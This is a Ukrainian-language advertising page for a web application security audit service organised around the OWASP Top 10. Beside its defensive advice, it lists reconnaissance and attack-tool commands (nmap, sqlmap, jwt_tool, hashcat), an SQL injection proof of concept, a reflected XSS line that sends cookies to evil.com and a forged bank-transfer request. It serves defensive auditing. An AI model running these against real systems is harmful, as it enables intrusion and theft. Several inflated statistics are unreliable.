Уявіть: ваш веб-додаток обробляє платежі, і зловмисник через SQL-ін'єкцію отримує доступ до бази даних клієнтів. Наслідки — витік даних, репутаційні втрати, багатомільйонні штрафи. Аудит безпеки за OWASP Top 10 — ваш щит. Ми виявляємо вразливості до того, як їх знайдуть хакери. Наші інженери сертифіковані за CEH та OSWE, з досвідом понад 50 проектів. Гарантуємо конфіденційність та повноту перевірки. Аудит включає автоматизоване сканування та ручний аналіз коду. Ручний аналіз виявляє в 3 рази більше критичних вразливостей, ніж автоматика. Вартість виправлення вразливості на етапі експлуатації в 10 разів вища, ніж на етапі розробки. В середньому, кожна гривня, вкладена в аудит, економить 5 гривень при ліквідації наслідків атаки. Ми перевіряємо не тільки топ-10 OWASP, але й бізнес-логіку, контейнери, CI/CD. Повний аудит дає впевненість у безпеці продакшну та захист від репутаційних ризиків. Наші звіти містять конкретні PoC та рекомендації.
OWASP Top 10: що перевіряємо
| ID |
Категорія |
Приклади |
| A01 |
Broken Access Control |
IDOR, privilege escalation |
| A02 |
Cryptographic Failures |
слабкі алгоритми, відкриті дані |
| A03 |
Injection |
SQL, NoSQL, OS, LDAP |
| A04 |
Insecure Design |
відсутність rate limit, передбачувані токени |
| A05 |
Security Misconfiguration |
дефолтні паролі, verbose errors |
| A06 |
Vulnerable Components |
застарілі залежності з CVE |
| A07 |
Auth Failures |
слабкі паролі, небезпечні сесії |
| A08 |
Software & Data Integrity |
insecure deserialization, CI/CD атаки |
| A09 |
Logging Failures |
недостатнє логування |
| A10 |
SSRF |
запити до внутрішніх ресурсів |
Процес роботи: 5 кроків
-
Розвідка та картування (3–5 днів) — інвентаризація вхідних точок додатку, збір карти ендпоінтів, технологій та версій.
-
Автоматизоване сканування (1–2 дні) — запуск сканерів для покриття відомих вразливостей.
-
Ручний аналіз (5–10 днів) — перевірка бізнес-логіки, IDOR, SSRF та інших неавтоматизованих векторів. Вручну тестуємо кожен сценарій: negative amounts, перебір купонів, обхід верифікації. Це дає повну картину безпеки.
- Складання звіту (1–2 дні) — executive summary, технічний звіт з PoC, матриця ризиків.
- Retesting (2–3 дні) — перевірка виправлень за запитом.
Замовте аудит сьогодні та захистіть свій проект. Якщо ви хочете отримати комерційну пропозицію, зв'яжіться з нами — ми підготуємо оптимальний план аудиту під ваш проект.
Етап 1: Розвідка та картування (3–5 днів)
Інвентаризація вхідних точок додатку. Ми збираємо карту ендпоінтів, технологій та версій. Використовуємо Burp Suite для проксування трафіку.
# Картування поверхні атаки
nmap -sV -sC -p- target.example.com
ffuf -w /usr/share/wordlists/dirb/big.txt -u https://target.example.com/FUZZ -mc 200,301,302,403
katana -u https://target.example.com -jc -d 3
whatweb https://target.example.com
Етап 2: Автоматизоване сканування (1–2 дні)
# Активне сканування
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' https://target.example.com
nikto -h https://target.example.com -ssl -output report.html
nuclei -u https://target.example.com -t cves/ -t misconfigurations/ -severity critical,high,medium
semgrep --config=p/owasp-top-ten ./src
Як ми перевіряємо аутентифікацію та авторизацію?
Перевіряємо IDOR, підвищення привілеїв та JWT-вразливості.
# IDOR та JWT
curl -H "Authorization: Bearer {token}" https://target.com/api/users/{id}/profile
python jwt_tool.py -t <token> -T
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
Ін'єкції та клієнтські атаки (3–4 дні)
# SQLmap та XSS
sqlmap -u "https://target.com/search?q=test" --level=5 --risk=3 --dbs --batch
dalfox url "https://target.com/search?q=test" --output xss_report.txt
SSRF-перевірки виконуємо вручну: підставляємо посилання на внутрішні ресурси (AWS metadata, Redis, file://).
Аналіз конфігурації (1–2 дні)
# TLS, заголовки, залежності та секрети
testssl.sh --full https://target.example.com
sslyze --regular target.example.com
npm audit --audit-level=moderate
composer audit
gitleaks detect --source . --report-format json
Приклад фрагмента звіту
VULN-001: SQL Injection у пошуку
Severity: Critical (CVSS 9.8)
Affected: GET /api/search?q=
CWE: CWE-89
Опис: Параметр q підставляється в SQL-запит без параметризації.
PoC: GET /api/search?q=' OR '1'='1 → повертає всі записи.
Рекомендація: Використовувати підготовлені запити.
Чому важливий аналіз бізнес-логіки?
Автоматизація не знаходить обхід платежів, маніпуляції з промокодами або race conditions. Ми вручну тестуємо кожен сценарій: negative amounts, перебір купонів, обхід верифікації. Наприклад, в інтернет-магазині ми виявили, що можна змінювати суму кошика через модифікацію JSON-запиту. Це дозволило б зловмиснику отримати товари за нульовою ціною. Як зазначає офіційна документація OWASP, ручне тестування виявляє до 40% більше вразливостей, ніж автоматичне сканування, а для бізнес-логіки цей показник сягає 5 разів.
Що входить у звіт?
- Executive Summary для керівництва (без технічних деталей)
- Технічна частина з PoC для кожної вразливості
- Матриця ризиків (Severity × Likelihood)
- Дорожня карта виправлень з пріоритетами
- Контрольний список OWASP Top 10 (статус кожного пункту)
Строк проведення аудиту
| Тип додатку |
Строк |
| Лендінг / корпоративний сайт |
3–5 днів |
| SaaS з авторизацією |
7–14 днів |
| Фінансовий додаток / маркетплейс |
14–21 день |
| Після виправлень — retesting |
2–3 дні |
Ми провели понад 50 аудитів для SaaS-продуктів. Замовте консультацію — оцінимо ваш проект і запропонуємо оптимальний план. Дізнайтеся, як захистити ваш веб-додаток від сучасних загроз: OWASP Top 10.
Безпека веб-додатків: що приховує «тихий» злом
Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.
Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.
В конфігурації Nginx/Apache перевіряємо:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
- Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
- HSTS (Strict-Transport-Security з
includeSubDomains; preload) — браузер більше не робить незахищених запитів
- OCSP Stapling — прискорює перевірку відкликання сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.
Content Security Policy: як він закриває XSS на 99%?
CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.
'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.
CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.
Чому XSS залишається найпоширенішою вразливістю?
XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:
| Тип XSS |
Приклад |
Захист |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Екранування виводу, CSP |
| Stored |
Коментар з кодом, збережений в базі |
Валідація вводу, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Уникати innerHTML, використовувати textContent |
Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.
Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.
Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.
Як ми працюємо?
-
Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
-
Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
-
Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
-
Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
-
Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.
Що входить в роботу?
- Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
- Готова конфігурація TLS (Nginx/Apache)
- Політика CSP з режимом Report-Only та бойовою версією
- Налаштування WAF та Rate Limiting
- План оновлень залежностей
- Доступи до інструментів моніторингу (Sentry, Datadog)
- 30 днів постаудит-підтримки (консультації, правки)
Терміни та вартість
| Тип робіт |
Строк |
| Security-аудит + hardening (заголовки, TLS, оновлення) |
1–2 тижні |
| Впровадження CSP (Report-Only → продакшен) |
2–4 тижні |
| Налаштування WAF + Rate Limiting + DDoS захист |
1–2 тижні |
| Комплексний security review + пентест |
3–6 тижнів |
Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.